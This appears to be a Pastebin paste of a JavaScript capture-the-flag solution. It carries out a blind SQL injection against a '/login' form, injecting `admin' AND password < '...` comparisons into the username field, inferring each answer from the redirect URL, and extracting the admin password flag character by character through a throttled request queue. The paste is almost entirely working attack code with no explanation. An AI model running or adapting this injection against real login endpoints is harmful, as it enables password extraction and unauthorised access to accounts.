Advertisement
Guest User

Untitled

a guest
Jun 30th, 2017
61
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.69 KB | None | 0 0
  1. var HANDICAP = 10*2;
  2. var reqs = [];
  3. function fetchReq() {
  4. Promise.resolve().then(
  5. reqs.length?
  6. reqs.pop():
  7. _=>0
  8. ).then(
  9. _=>setTimeout(fetchReq, 1)
  10. );
  11. }
  12. fetchReq();
  13. var errs = [];
  14. function fetchErr() {
  15. Promise.resolve().then(
  16. errs.length?
  17. errs.pop():
  18. _=>0
  19. ).then(
  20. _=>setTimeout(fetchErr, 1 + 600e3/HANDICAP)
  21. );
  22. }
  23. var alphabet = '-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz{}'.split('');
  24. async function query(username) {
  25. return new Promise((resolve, reject)=>{
  26. reqs.push(function() {
  27. return fetch(
  28. '/login',
  29. {
  30. method:'post',
  31. body:new Blob(
  32. ['password=&user='+encodeURI(username)],
  33. {type:'application/x-www-form-urlencoded'})
  34. }
  35. ).then(r=>resolve(!!r.url.match(/password/i))).catch(reject);
  36. });
  37. });
  38. }
  39. async function guess(prefix) {
  40. for (let o = 11, i = 11; i<alphabet.length; i+=--o) {
  41. if(await query(`admin' AND password < '${prefix}${alphabet[i]}`)) {
  42. for (let e = i-o; e < i; e++) {
  43. if(await query(`admin' AND password < '${prefix}${alphabet[e]}~`)) {
  44. return prefix + alphabet[e];
  45. }
  46. }
  47. console.log('wtf?');
  48. }
  49. }
  50. console.log('wtf!');
  51. throw new Error('wtf?!');
  52. }
  53. async function bruteforce(prefix) {
  54. return new Promise((resolve, reject)=>{
  55. errs.push(function() {
  56. return guess(prefix).then(resolve).catch(reject);
  57. });
  58. });
  59. }
  60. async function getFlag() {
  61. setTimeout(fetchErr, 10);
  62. var prefix = `CTF{${location.hostname.replace(/-.*/,'')}-`;
  63. for(let i=0;i<64;i++) {
  64. console.log(prefix = await bruteforce(prefix));
  65. }
  66. }
  67. query('fakeuser').then(getFlag).then(flag=>console.log(flag));
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement